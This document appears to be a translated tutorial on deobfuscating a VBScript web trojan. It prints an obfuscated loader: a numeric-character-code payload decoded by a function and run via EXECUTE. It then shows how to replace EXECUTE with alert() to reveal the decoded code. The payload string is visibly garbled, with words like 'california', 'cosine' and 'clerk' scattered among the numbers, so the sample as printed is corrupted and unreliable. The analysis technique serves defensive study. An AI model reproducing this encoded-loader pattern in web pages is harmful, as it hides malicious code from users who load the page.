JS decryption entry-end variable hijacking

The following is a network horse

<Script Language = "VBScript">
Cn911 = ", 50, 50, 50, 50, 50, 50,, california, 55,55, 55,50, 69,54, 66,55, 50,55, 54,54, 66,55, 50,50, 69,54, 51,54, California, 70,55, 50,54, 68,50, 69,54, 53,55,, 50, 50, 50, 54, 54, 54, 54, california, 54, 55, 50, 54, 54, 54, 50, 50, 50, 54, california, 54,50, 50,54, 65,54, 53,50, 50,50, 54,50, 50,54, 51,50, 50,50, 54,50, California, 68,48, 65,52, 70,54, 50,50, 69,53, california, 54, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 54, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, California, 54,50, 50,54, 57,50, 50,50, 54,50, california, 50, 50, 50, 50, 50, 50, 51, California, 50, 51, 50, listen, 54,50, 50,52, 49,51, 51,50, 68,51, 49,51, 49,52, 52,51, 48,50, 50,50, clerk, 56,51, 51,52, 49,50, 68,51, 48 ,51, california, 50, 50, 54,50, 50, 50, 51, 48, 51, 52, 54,52, 51, 50, 50, California, 51, 54,50, 50, 48,, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 50, 50, 54,50, 50, 50, 54, 70, 54, 54,50, 50, 50, 54,50, 50, 55, 50, California, 56, 50, 50, 54,50, 50,52, 68,50, cosine, 54,50, 50,52, 67,50, 50,50, 54,50, 50,52, 56,50, 50,50, 54,50, 50,53, cosine, 50,53, 48,50, 50,48, 68,48, 65,53, california,, 50, california, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 52, California, values,, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 50, 50, 48, 53, 54,54, 50, 55, 54, California, 50, 52, 50, 50, 50, 50,, 50, 50, 50, 50, 52, 53,, 50, california, 50, 54, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, California, 55,50, 69,52, 54,50, 50,50, 54,50, california, 57,50, 50, 54,50, 50,54, 67,54, 53,50, 50,50, 54,50, 50,53, 51,55, California, 51,55, 52,50, 50,50, 54,50, 50,54, cosine, 50,50, 54,50, 50,54, 68,52, 70,50, 50,50, 54,50, 50,54, 50,54, 65,54, cosine, 51,55, 52,50, 50,50, 67,50, 50,50, 50,, 50, california, 48,,,, listen, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, listen, 50, 54, 50, 50, 48, 68, 48, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 50, 50, 50, 50, 54,50, 50, 50, 50, 50, 50, 50, 50, 55, California, 50, 54, 49,54, 50, 50, 48,,, california, 50, 67, 50, 50, 50, 50, 57, 48, 68, 48, 65, 50, 52, 50, 69, California,, 53, 50, 48, 48, cosine, 55,48, 50,69, 53,50, 54,53, 55,51, 55,48, 54,70, 54,69, 55,51, 54,53, cosine, 48,68, 48,65, 52,50, 54,52, 54,49, clerk, clerk, 68, california, 50,, cosine, 55,50, 54,57, 55,52, 54,53, 53,52, 54,53, 55,56, 55,52, 50,48, 50,50, cosine, 53,51, 54,56, 54,53, 54,67, 54,67, california, 50, 50, 50, 50, 50, cosine, 55,50, 54,57, 55,48, 55,52, 50,69, 53,51, 54,56, 54,53, 54,67, 54,67, cosine, 50,54, 55,54, 54,50, 52,51, 55,50, clerk, 54,54, 50,54, 50,50, 53,51, 54,56, 54,53, 54,67, 54,67, 50,69, 53,50, clerk, 50,50, 50,50, 50,50, 50,54, 52,53, california, 54,53, 54,49, 54,68, 54,53, 50,54, 50,50, 50,50, 50,50, 50,57, California, 52,51, 55,50, 52,67, 54,54, 50,54, california, 55, 52, 54,56, 54,57, 54,69, 54,55, california, 53, 53, California, 53, 50, 48, california, 53, california, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 50, 50, 54,67, 50, 50, 50, 54, 50, 50, 50, 69, 50, 50, 50, 50, 50, 49, California, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, california, 50, 50, 54,67, 50, 50, 50, 54, 50, 50, 54,57, 50, 50, 48, 68, 48, 65, 51, California, 55, 53, 54,69, 50, 48, 50, 48, cosine, 54,50, 50,69, 54,51, 55,50, 54,53, 54,49, 55,52, 54,53, 54,70, 54,50, cosine, 50,56, 55,51, 53,50, 55,53, 54,69, cosine, 50,50, 54,51, 54,49, 55,52, 54,57, 54,70, 54,69, 50,50, 50,67, 50,50, cosine, 53,50, 55,53, 54,69, 50,69, 53,51, california, 54,53, 54,67, 54,67, 52,53, 55,56, 54,53, 54,51, 55,53, 55,52, 54,53, California, 54,49, 54,68, 54,53, 50,67, cosine, 50,50, 50,67, 50,50, 50,50, 50,67, 50,50, 52,70, 55,48, 54,53, 54,69, cosine, 68,61, 34,69, 88,69, 67,85, 84,69,,,, 83,, 38, 68"

'The following are the processed functions.
Function Rechange (Q)
S = Split (Q ,",")
Cn922 = ""
For I = 0 To UBound (S)
Cn922 = Cn922 & Chr (eval (S (I )))
Next
Rechange = Cn922
End Function

'Execute this code
EXECUTE (Rechange (Cn911 ))
</Script>

My friends who have seen my previous articles should know that the previous 10-digit system can be used to intuitively solve the problem. However, there is a processing function below, it is not cost-effective to analyze the function after you decrypt it in decimal format. Rechange: This is a processing function. We don't know the function of this function. It doesn't matter. We can see that there is an EXECUTE () At the end, which indicates that this is the execution function, the execution content is Rechange (Cn911). We can change EXECUTE to alert (), that is, change the last line to alert (Rechange (Cn911 )).

After the hijacking is completed, open the webpage and the decrypted content pops up.

Learning tips: for this kind of Web horse, there must be a final variable or expression, and you can modify and execute the function.